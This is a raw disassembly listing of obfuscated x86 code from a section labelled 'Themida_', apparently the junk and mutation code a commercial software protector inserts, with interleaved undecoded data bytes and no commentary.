loc_5988C9:				; CODE XREF: Themida_:005A3758j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		or	ecx, ecx
		jz	loc_5A150E
		sub	esp, 4
		jmp	loc_5974E9
; ---------------------------------------------------------------------------


loc_5988E7:				; CODE XREF: Themida_:00599A0Cj
		and	edx, 57334576h
		add	edx, 0FFFDFA8Eh
		add	esi, edx
		pop	edx
		push	eax
		jmp	loc_59589A
; ---------------------------------------------------------------------------


loc_5988FC:				; CODE XREF: Themida_:00598CA2j
		mov	edx, ebp
		push	edx
		add	dword ptr [esp], 48C5DC6h
		jmp	loc_59A601
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4B85000h, 1000000h, 3B41E9C2h,	0C870000h, 1C895C24h
		dd 1BB24h, 5F090000h, 241C8B1Ch, 34FF5457h, 243C8B24h
		dd 4C481h, 0EC810000h, 4, 0E9243C89h, 0ABEBh, 0F6ECB450h
		dd 0F1F480DCh, 0F602E4C0h, 0B9A8E9D4h, 5DB9FFFFh, 812BF74Ch
		dd 8B3A7C1h, 59CA01D4h,	98E0E9h, 0EB805800h, 0E9C3009Eh
		dd 4C7Bh
; ---------------------------------------------------------------------------


loc_59897C:				; CODE XREF: Themida_:00592CCBj
		sub	eax, edi
		add	eax, 0DC939BFh
		jmp	loc_592E3E
; ---------------------------------------------------------------------------
aBIqSui		db ')êê×iï;éU¨',0
		db 0
; ---------------------------------------------------------------------------


loc_598995:				; CODE XREF: Themida_:00598F49j
		add	esp, 4
		add	esi, 910495D1h
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_59CA95
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	9AE9242Ch
		db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5989C3:				; CODE XREF: Themida_:005923E9j
		xchg	edi, [esp]
		pop	esp
		push	367Dh
		mov	[esp], eax
		mov	eax, ebx
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_598D5A
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 6E7E4453h, 1E6AEB81h, 0E953335Ah, 0E5Dh
; ---------------------------------------------------------------------------


loc_5989F0:				; CODE XREF: Themida_:005A2BB6j
		sub	bl, al
		pop	eax
		jmp	loc_5A63C0
; ---------------------------------------------------------------------------
		dd 3DEE815Ch, 510F663Bh, 71BBB850h, 54831CDh, 38E509E2h
		dd 4002E8C1h, 0E30DD2Dh, 0FFE95619h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_598A1B:				; CODE XREF: Themida_:00595A2Aj
		pop	edi
		push	ebx
		mov	ebx, 160D3235h
		shl	ebx, 5
		jmp	loc_5A696F
; ---------------------------------------------------------------------------
		dw 0FA88h
aIZSx		db 'ˆÑZ[éx#',0
		db 0
; ---------------------------------------------------------------------------


loc_598A35:				; CODE XREF: Themida_:005A294Cj
		add	ebp, ecx
		add	ebp, 3A9C4B43h
		pop	ecx
		push	ecx
		push	ebp
		mov	ebp, 9DC328Bh
		jmp	loc_595728
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 5C243487h, 4EC81h, 14890000h, 0B2F6824h, 1C890000h
		dd 684CB324h, 461Ch, 66240489h,	0E95D8F68h, 0FFFFD86Eh
		dd 0E9EE015Dh, 0B0C0h, 5A2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_597786
; ---------------------------------------------------------------------------
a6osfh3		db '»6O˜Fh*3',0
		align 2
		dw 5FE9h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598A9B:				; CODE XREF: Themida_:0059C312j
		pop	edx
		jmp	loc_59ED92
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 17E90000h, 31FFFFA7h, 3C8B243Ch, 4C48124h, 0E9000000h
		dd 0FFFFD8ACh, 4244481h, 6024606Ch, 241C8B5Dh, 262368h
		dd 240C8900h, 0EC835954h, 0A711E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598ADE:				; CODE XREF: Themida_:005A3E67j
		mov	ecx, 373E03CDh
		or	ebp, ecx
		pop	ecx
		and	ebp, 7A5D5D0Fh
		push	ebp
		inc	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 739364CBh
		sub	esi, ebp
		pop	ebp
		jmp	loc_5A69F2
; ---------------------------------------------------------------------------
		dd 1DE9C131h, 0BA0000CFh, 0EB34BCCh, 6C9DEA81h,	0C28131BEh
		dd 5F775B3h, 0BB53h, 0D3290000h, 0AE9DA31h, 5D000060h
		dd 81243C8Bh, 4C4h, 240C3300h, 0FFD7CBE9h, 0C1DEF7FFh
		dd 0D2E906EEh
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598B47:				; CODE XREF: Themida_:0059A3C4j
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		jmp	loc_59A899
; ---------------------------------------------------------------------------


loc_598B53:				; CODE XREF: Themida_:0059CC6Aj
		mov	edx, ebp
		pop	ebp
		jmp	loc_5A5C60
; ---------------------------------------------------------------------------
		db 68h
		dd 1CD9h, 0BE243489h, 4, 815EF701h, 4EFh, 243C8700h, 23F0E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598B7A:				; CODE XREF: Themida_:0059413Ej
		shl	edi, 1
		push	ebx
		jmp	loc_5979E6
; ---------------------------------------------------------------------------


loc_598B82:				; CODE XREF: Themida_:0059D36Bj
		pop	ebx
		shr	eax, 1
		push	esi
		jmp	loc_59ED50
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0CCE9EE87h, 0FFFFFFA6h, 34FF2434h, 2434FF24h, 4C48358h
		dd 8904EC83h, 5A542414h, 4EC8153h, 89000000h, 0B3BF243Ch
		dd 0BB192002h, 192002B7h, 815FFB31h, 871547C2h,	81DA0164h
		dd 871547EAh, 241C8B64h, 4C481h, 0F3680000h, 8900002Bh
		dd 6E68240Ch, 89000079h, 0E952242Ch, 6281h
; ---------------------------------------------------------------------------


loc_598BEC:				; CODE XREF: Themida_:0059A20Fj
		mov	[esp], esi
		mov	esi, 35043ACFh
		sub	esi, 35043ACBh
		jmp	loc_5A6B9D
; ---------------------------------------------------------------------------
aBFu@so		db 'òFU@éoš',0
		align 2
		dw 0C281h
		dd 1E7A42C0h, 4C28159h,	33000000h, 14312414h, 24143324h
		dd 242C875Ch, 0C8B665Ch, 18506824h, 94E90000h, 8B0000BDh
		dd 0EEE9241Ch, 89FFFFDEh, 4C581E5h, 0E9000000h,	2389h
		dd 240C8B66h, 0FFCAEFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_598C51:				; CODE XREF: Themida_:00596D3Bj
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 1EB57AB2h
		xor	ecx, 64AA3048h
		neg	ecx
		jmp	loc_5A2BF1
; ---------------------------------------------------------------------------
		db 81h
		dd 31355CF6h, 265BE92Dh, 0C890000h, 4B924h, 0C8010000h
		dd 6D63E959h, 68500000h, 3EBBh,	88241C89h, 0E9FC88D7h
		dd 7903h, 282BF680h, 24148BF0h,	0FFB963E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_598CA1:				; CODE XREF: Themida_:00592C1Cj
		push	edx
		jmp	loc_5988FC
; ---------------------------------------------------------------------------


loc_598CA7:				; CODE XREF: Themida_:005A4091j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5998FE
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 17h
		dd 0EB80F328h, 0CFA1E917h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598CC6:				; CODE XREF: Themida_:0059B537j
		mov	ebx, 45D71B2Eh
		add	ebp, 724E4BC4h
		add	ebp, ebx
		sub	ebp, 724E4BC4h
		mov	ebx, [esp]
		add	esp, 4
		neg	ebp
		push	ebx
		jmp	loc_59BED6
; ---------------------------------------------------------------------------
		db 81h
		dd 4238ABEDh, 5DE901D4h, 53F6C181h, 0F92916DAh,	53F6E981h
		dd 0E98116DAh, 7B7B2487h, 83243C8Bh, 0DCE904C4h
		db 0D3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_598D0F:				; CODE XREF: Themida_:005A6BB6j
		pop	esp
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_5987DF
; ---------------------------------------------------------------------------


loc_598D35:				; CODE XREF: Themida_:005A510Ej
		mov	[esp], ebx
		mov	ebx, 66F366FDh
		push	ebx
		sub	dword ptr [esp], 6EFC0BF5h
		jmp	loc_59CB39
; ---------------------------------------------------------------------------
		dw 0F749h
		dd 0A6E4E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_598D52:				; CODE XREF: Themida_:005929C4j
		push	ebx
		mov	ebx, esp
		jmp	loc_597024
; ---------------------------------------------------------------------------


loc_598D5A:				; CODE XREF: Themida_:005989D9j
		mov	ebx, [esp]
		jmp	loc_5A6919
; ---------------------------------------------------------------------------
		dw 0DD87h
		dd 0DD87D3F7h, 13FBF581h, 0FDE93FFDh
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_598D73:				; CODE XREF: Themida_:0059BF7Bj
		not	ecx
		jmp	loc_5A67AC
; ---------------------------------------------------------------------------


loc_598D7A:				; CODE XREF: Themida_:0059CB97j
		add	ebx, 4
		jmp	loc_59D87A
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
aSC		db '\é×—',0
		align 2
		dw 487h
		dd 0FFE95C24h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_598D97:				; CODE XREF: Themida_:005A00A9j
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_59213A
; ---------------------------------------------------------------------------
aZ313Sbq	db 'Z3<$1<$3<$\éŸ',0
		dw 5D00h
		dd 0E9243C87h, 0FFFFDD9Bh, 81240C8Bh, 4C4h, 24048100h
		dd 5D0E5B67h, 7897E9h, 86E98100h, 5E046243h, 1F06E981h
		dd 15F0635h, 0E2E959CFh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_598DE7:				; CODE XREF: Themida_:0059F225j
		pop	edx
		and	ecx, edx
		mov	edx, [esp]
		jmp	loc_5A2850
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 48F5424h, 78CCE924h,	0EE800000h, 17A9682Ch, 1C890000h
		dd 0AB6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598E0E:				; CODE XREF: Themida_:0059C450j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		sub	esp, 4
		mov	[esp], edi
		push	7B91h
		jmp	loc_5922F5
; ---------------------------------------------------------------------------
aISU		db '‰<$é',0Bh,'“',0
		align 2
		dw 835Bh
		dd 48704E8h, 24248B24h,	68240489h, 66A7h, 0E9241C89h, 0DB54h
		dd 0E924248Bh, 0CDD3h, 0BFE980h, 2434FFCBh, 0FF963BE9h
		dd 5E801FFh, 6D1A64AFh,	6432685Dh, 14890000h, 68525124h
		dd 451B2D2Eh, 47E2815Ah, 0C1513571h, 814208EAh,	0DD9380EAh
		dd 5AD1898Dh, 8904EC83h, 6068243Ch, 5F8D9C82h, 2075E981h
		dd 0F9013F0Eh, 6F8CE956h, 89680000h, 5926E43Ch,	331DE181h
		dd 5D683890h, 8900007Eh, 25E9243Ch, 8100006Bh, 3F6D90C3h
		dd 0D51E932h, 0B9510000h, 57590458h, 0A7FE181h,	0C2E953CBh
		dd 0ADFFFF94h, 8151D831h, 4ECh,	24048900h, 4EC81h, 2C890000h
		dd 2CBB5324h, 0E9344029h, 0FFFFF98Bh
; ---------------------------------------------------------------------------


loc_598F04:				; CODE XREF: Themida_:00593631j
		pop	esp
		sub	esp, 4
		jmp	loc_59504B
; ---------------------------------------------------------------------------
aISL		db '‰$$éÙ‹',0
		dd 4EC8100h, 0E9000000h, 5B5Ah,	891745BAh, 5AD68914h, 4B61E9h
		dd 1EC68100h, 0E93DA72Ch, 0FFFFE7F9h, 0E142E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598F3E:				; CODE XREF: Themida_:005992A4j
		push	edx
		mov	edx, 6F904A2Fh
		or	esi, edx
		mov	edx, [esp]
		jmp	loc_598995
; ---------------------------------------------------------------------------
		dw 0EF83h
		dd 3338E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598F56:				; CODE XREF: Themida_:005A5C62j
		mov	edx, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	ebp
		jmp	loc_59E45B
; ---------------------------------------------------------------------------
		dw 0D329h
		dd 3283C381h, 0DA891711h, 81241C8Bh, 4C4h, 3EAC100h, 6808E2C1h
		dd 229h, 0BB241C89h, 6AA574FCh,	0F381DBF7h, 2124D85h, 315BDA31h
		dd 0E9015AD5h, 0E9242C8Bh, 0FFFFD7E9h
; ---------------------------------------------------------------------------


loc_598FA0:				; CODE XREF: Themida_:00599FF0j
		pop	edx
		jmp	loc_5927E7
; ---------------------------------------------------------------------------
		dw 0F201h
		dd 5E6DEA81h, 505E0437h, 592AE9B8h, 371A0539h, 0FF0567BEh
		dd 0F7FFFFFFh, 8184E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_598FC6:				; CODE XREF: Themida_:005982C3j
		pop	edx
		jmp	loc_59F720
; ---------------------------------------------------------------------------
		dd 2E3C15Ah, 0D161E9h, 0EC83AC00h, 240C8904h, 5DB35366h
		dd 0FFAFACE9h, 5F831FFh, 1, 0E0268h, 24148900h,	0D66B951h
		dd 0CA890F71h, 0B2F28159h, 0E965A647h, 0FFFFD20Ch
; ---------------------------------------------------------------------------


loc_599008:				; CODE XREF: Themida_:0059D297j
		sub	esi, 1
		jmp	loc_59AC63
; ---------------------------------------------------------------------------
		db 89h
		dd 0FEB22414h, 8053F280h, 0F76802CAh, 89000052h, 0D388241Ch
		dd 7DE9D3F6h, 50000DAh,	4, 0FF99F9E9h, 0E68956FFh, 6C9FB951h
		dd 0D1F73ADCh, 0E981D9F7h, 6CD17020h, 0FC7CE981h, 0CE01CE0Ah
		dd 4C68159h, 87000000h,	0E95C2434h, 96F9h, 4EF81h, 3C870000h
		dd 2C895C24h, 69D16824h, 24890000h, 24048324h, 61B5E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599082:				; CODE XREF: Themida_:005991BFj
		mov	ecx, 23B779A9h
		jmp	loc_59D46A
; ---------------------------------------------------------------------------


loc_59908C:				; CODE XREF: Themida_:0059DE2Cj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		add	esp, 4


loc_5990A4:				; CODE XREF: Themida_:0059A9B4j
		push	ebx
		jmp	loc_59E6EC
; ---------------------------------------------------------------------------


loc_5990AA:				; CODE XREF: Themida_:0059320Cj
		mov	ebx, [esp]
		add	esp, 4
		shl	esi, 6
		push	esi
		xchg	ebp, [esp]
		not	ebp
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_5A24E2
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C481240Ch, 2, 228AE9h, 87D3F700h, 31EF31DDh, 0DDD8E9FDh
		dd 0EF83FFFFh, 243C8704h, 241C895Ch, 5EABBD55h,	62BB4DC2h
		dd 315C5B6Bh, 2434FFEBh, 0FFC110E9h, 48B66FFh, 0B626824h
		dd 3C890000h, 0E9E78924h, 0FFFF9778h, 0F2EF815Fh, 0E96D7A37h
		dd 755Dh
; ---------------------------------------------------------------------------


loc_599120:				; CODE XREF: Themida_:005978D3j
		mov	[esp], ebp
		mov	ebp, 1
		push	ecx
		mov	ecx, ebp
		push	2F51h
		mov	[esp], ecx
		xor	dword ptr [esp], 0B213F61h
		mov	edi, [esp]
		add	esp, 4
		xor	edi, 0B213F61h
		pop	ecx
		pop	ebp
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5A3CA1
; ---------------------------------------------------------------------------


loc_599156:				; CODE XREF: Themida_:00593152j
		add	eax, esi
		jmp	loc_597191
; ---------------------------------------------------------------------------
aTsjx		db 'TéjX',0
		dw 5700h
		dd 62D5B850h, 0E0C1784Ah, 66032507h, 72E96038h,	81FFFFB4h
		dd 4C4h, 8DEEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599182:				; CODE XREF: Themida_:005A5B8Bj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59441B
; ---------------------------------------------------------------------------
aHy		db '[hY;',0
		align 2
		dd offset dword_455248+313A1h
		dw 0FE00h
		dd 8ED80CDh, 8004B353h,	0EBC0B5C3h, 21F38008h, 0A28DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5991B1:				; CODE XREF: Themida_:00595370j
		and	ebp, 361C567Ah
		push	447Eh
		mov	[esp], ecx
		jmp	loc_599082
; ---------------------------------------------------------------------------
aRsv		db 'Ré‚¿',0
		align 2


loc_5991CA:				; CODE XREF: Themida_:005A16B5j
		pop	ecx
		mov	edx, [esp]
		jmp	loc_59C01B
; ---------------------------------------------------------------------------
		db 0BBh
		dd 361E516Bh, 1E516FBEh, 6B56E936h, 22BF0000h, 31B4C7D5h
		dd 2434FFCFh, 0E9240C8Bh, 0FFFFA717h, 0E904C483h, 3FF5h
		dd 0E96AEA80h, 0A1CEh, 243C875Ah, 8324248Bh, 545204C4h
		dd 5324148Bh, 0BD55E389h, 7ECF5CC0h, 0C581D5F7h, 7ECF5CC5h
		dd 835DEB01h, 1C3304C3h, 241C3124h, 0E9241C33h,	3799h
		dd 55240C89h, 0FFA925E9h, 8BF701FFh, 0C4812434h, 4, 0CD1CE956h
		dd 0ED810000h, 638B4A5Dh, 0C581DD01h, 638B4A5Dh, 83241C8Bh
		dd 555204C4h, 0F75857BDh, 0ABC5812Ch, 53D308A7h, 0DA89EB89h
		dd 0B373E95Bh, 4830000h, 815B0424h, 4C3h, 68535000h, 4CE56D39h
		dd 0CEBFB85Bh, 0D8011ECEh, 5FEE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59929E:				; CODE XREF: Themida_:005962E1j
		sub	esi, ebp
		pop	ebp
		shr	esi, 4
		jmp	loc_598F3E
; ---------------------------------------------------------------------------
aThi		db 'Ñâh›>',0
		align 10h
		dd 0BB241C89h, 79F818DAh, 0EB87DBF7h, 0EB87DDF7h, 0EB81DBF7h
		dd 553812D0h, 0E6DAC381h, 0DA315958h, 5B2434FFh, 730AE9h
		dd 8BC50000h, 54552404h, 83242C8Bh, 0C58104C4h,	4, 8704C583h
		dd 0FE5C242Ch, 0E9DDF6CDh, 0FFFFA632h, 68565854h, 4B4F2DE6h
		dd 8324348Bh, 0C6E904C4h, 1FFFFC0h, 65B951C3h, 0E9595A57h
		dd 0FFFFE030h, 0C35B0EBAh, 0AF2813Bh, 893BC35Bh, 11B8E9D1h
		dd 0E95B0000h, 0FFFFB4D4h, 4E981h, 0C870000h, 0C895C24h
		dd 2EB8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599346:				; CODE XREF: Themida_:005A3C42j
		push	52C4110Fh
		jmp	loc_59A6D6
; ---------------------------------------------------------------------------


loc_599350:				; CODE XREF: Themida_:005A5466j
		pop	esp
		jmp	loc_5A4F4A
; ---------------------------------------------------------------------------
aS_10		db '[éÛ',27h,0
		align 4
		dd 68DEF380h, 9FFh, 0B57AE9h, 0F3EF8100h, 0E9EFF36Fh, 11C3h
		dd 4244481h, 3D4667B5h,	0FFF73FE9h, 0C8B66FFh, 72466824h
		dd 3C890000h, 2C4B6824h, 0E1E90000h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_599397:				; CODE XREF: Themida_:0059B722j
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		sub	esi, 52A34505h
		add	esi, eax
		jmp	loc_5A42DE
; ---------------------------------------------------------------------------
		dw 0D931h
		dd 5B2434FFh, 0B139E9h,	68E2D100h, 616Bh, 0E9240C89h, 4E42h
		dd 4C4815Ch, 0FF000000h, 24348131h, 7A485EE7h, 0FFE430E9h
		dd 89C381FFh, 5F0BEB31h, 9FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5993ED:				; CODE XREF: Themida_:005A053Dj
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C58108EDh, 1, 1B6EED81h, 0EA29AC90h, 1487585Dh, 24248B24h
		dd 9C240431h, 0FF8B47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_599429:				; CODE XREF: Themida_:005A5583j
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5A2F8F
; ---------------------------------------------------------------------------
		dd 55240C89h, 0A0D1E9h
		db 0
; ---------------------------------------------------------------------------


loc_599445:				; CODE XREF: Themida_:005970CFj
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 66F668C7h
		xor	ecx, 66F668C3h
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59DB89
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 0F9h
		dd 900003Ah, 35E95EF0h,	53000095h, 0B45090B7h, 0E9D4F641h
		dd 5441h, 0E9243C89h, 0DB30h, 89240C89h, 1DBD55E1h, 81186354h
		dd 5030E5EDh, 34ED8109h, 810F1323h, 0E50E63C1h,	0E9E90176h
		dd 1BE7h, 83241C89h, 4EE904ECh
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5994BF:				; CODE XREF: Themida_:005A05BDj
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A043A
; ---------------------------------------------------------------------------
aS_11		db ')Íé!Ç',0
		align 2


loc_5994D6:				; CODE XREF: Themida_:0059D485j
		add	ebx, 4
		jmp	loc_59FD7C
; ---------------------------------------------------------------------------
		dw 0FF56h
		dd 5E042474h, 5C24048Fh, 8904EC83h, 0E9542404h,	9237h
; ---------------------------------------------------------------------------


loc_5994F4:				; CODE XREF: Themida_:005A16A7j
		push	ebp
		mov	ebp, edi
		jmp	loc_5962C9
; ---------------------------------------------------------------------------


loc_5994FC:				; CODE XREF: Themida_:0059FA40j
		shl	ebp, 4
		shr	ebp, 7
		sub	ebp, 1DFE47Ah
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 3FF416D5h
		jmp	loc_592746
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 631B4217h, 0F0C58145h, 0E96C5F5Ah, 7948h
; ---------------------------------------------------------------------------


loc_599534:				; CODE XREF: Themida_:00597385j
		add	ebx, 0E76AD2C0h
		sub	esi, ebx
		pop	ebx
		add	edx, esi
		pop	esi
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59AE66
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 1Ch
		dd 5E99C24h, 0BFFFFF8Ah, 6A09156Fh, 0EA93C781h,	98E995F6h
		dd 0FF000022h, 1DE92434h, 53000032h, 8904EC83h,	0E0E9243Ch
		dd 660000B0h, 663D1468h, 0B1240C89h, 83852C09h,	896602ECh
		dd 46B3241Ch, 5B66D828h, 0FFEF41E9h, 8B812CFFh,	0C4812414h
		dd 4, 8904EC83h, 1B42404h, 1AE9E300h, 0FFFFFFD7h, 5E042474h
		dd 0FFD394E9h, 24048BFFh, 0E904C483h, 0FFFFE120h
; ---------------------------------------------------------------------------


loc_5995DC:				; CODE XREF: Themida_:005A0AB1j
		mov	ebp, 2B703B1Ch
		sub	ebp, 1189FF95h
		add	edx, 4BA53CEDh
		jmp	loc_59EA2F
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 6E192E1Ah, 60C7E9h, 896EE900h, 3C89FFFFh, 24348124h
		dd 121F4C10h, 10F18159h, 8B121F4Ch, 0C483243Ch,	0A0EFE904h
		dd 0C731FFFFh, 69F78158h, 0F733014Eh, 0A4BA52D7h, 4A33D502h
		dd 1749E942h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599636:				; CODE XREF: Themida_:0059D8A0j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59963B:				; CODE XREF: Themida_:00597781j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5A22F1
; ---------------------------------------------------------------------------


loc_59964C:				; CODE XREF: Themida_:005A346Bj
		add	esp, 4
		jmp	loc_5A2D4A
; ---------------------------------------------------------------------------


loc_599654:				; CODE XREF: Themida_:00596EB5j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	800h
		jmp	loc_59CF59
; ---------------------------------------------------------------------------


loc_599667:				; CODE XREF: Themida_:005925FEj
		add	edx, 7DE1D4EDh
		sub	ebx, 113A723Eh
		jmp	loc_5A67E6
; ---------------------------------------------------------------------------
		dd 52433735h, 58C70132h, 0E904EF83h, 0FFFF896Eh, 0E189515Ch
		dd 815B5453h, 4C3h, 4BE5600h, 0E9000000h, 0FFFF8CFDh, 4B03E3C1h
		dd 76E9D3F7h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5996AB:				; CODE XREF: Themida_:0059C4D6j
		sub	eax, 0A9A3D4B4h
		add	esi, eax
		pop	eax
		push	1EC8h
		jmp	loc_5A6C5A
; ---------------------------------------------------------------------------


loc_5996BD:				; CODE XREF: Themida_:005A0BE8j
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		push	ebp
		jmp	loc_599ED1
; ---------------------------------------------------------------------------
		dd 8905E952h, 74FF0000h, 34FF0424h, 24048B24h, 8104C483h
		dd 4ECh, 0C8CE900h, 83680000h, 89000006h, 2CE9241Ch
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5996FB:				; CODE XREF: Themida_:0059EAD9j
		xor	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	ecx, 17313765h
		add	ecx, edi
		jmp	loc_598208
; ---------------------------------------------------------------------------


loc_599714:				; CODE XREF: Themida_:00593458j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59FFC6
; ---------------------------------------------------------------------------


loc_59971F:				; CODE XREF: Themida_:005998F9j
		xor	eax, 4DCD46CAh
		push	ebp
		jmp	loc_599A94
; ---------------------------------------------------------------------------


loc_59972A:				; CODE XREF: Themida_:0059F6BFj
		add	edx, 3D7129BEh
		and	edx, 701A11A3h
		sub	edx, 0E4848D92h
		jmp	loc_5A32EC
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0BAh
		dd 4B4CA205h, 70E7EB81h, 0C3812C2Ch, 22FD00AFh,	3DA1BD55h
		dd 25E97CC8h
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59975F:				; CODE XREF: Themida_:005985A6j
		mov	ebp, 0FFFFFFFFh
		add	edx, 3CD82847h
		sub	edx, ebp
		sub	edx, 3CD82847h
		jmp	loc_596934
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9592434h, 0FFFFC87Ah
; ---------------------------------------------------------------------------


loc_599780:				; CODE XREF: Themida_:0059C83Ej
		neg	eax
		neg	eax
		jmp	loc_59EF21
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Ah, 57000000h,	0C781E789h, 4, 4EF81h, 3C870000h
		dd 0E01BE924h, 48FFFFFh, 8D04E924h, 0E3C1FFFFh,	69F38106h
		dd 29D1E33Eh, 0D6295BDAh, 81DE015Ah, 0FF34B9C6h, 34875B6Eh
		dd 0F6685C24h, 0E900000Eh, 8164h, 8B24048Fh, 81042424h
		dd 0C6E9D028h, 87FFFFFDh, 15C242Ch, 0D84CE9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5997F2:				; CODE XREF: Themida_:0059F232j
		push	ebp
		jmp	loc_596DF8
; ---------------------------------------------------------------------------


loc_5997F8:				; CODE XREF: Themida_:0059C0CBj
		push	712Dh
		mov	[esp], edx
		mov	edx, 439118DAh
		jmp	loc_59862C
; ---------------------------------------------------------------------------


loc_59980A:				; CODE XREF: Themida_:005A3F32j
		push	edx
		mov	edx, 800h
		push	edx
		pop	edi
		pop	edx
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		push	7C03h
		mov	[esp], edx
		jmp	loc_59E6D2
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68240C89h, 6EDh
		dd 88241C89h, 5BF988F7h, 7913E9h, 2414F700h, 2252E9h, 0E1815B00h
		dd 4DFA21EFh, 51524141h, 4805C4B9h, 1BEDBA26h, 0CA0127AAh
		dd 0E9D12959h, 50C1h
; ---------------------------------------------------------------------------


loc_599874:				; CODE XREF: Themida_:00595535j
		mov	ebx, 0D1693534h
		add	esi, ebx
		pop	ebx
		or	eax, esi
		jmp	loc_5946C1
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0C6885266h, 66F48850h, 6639BE68h, 0F6240489h, 0E9012454h
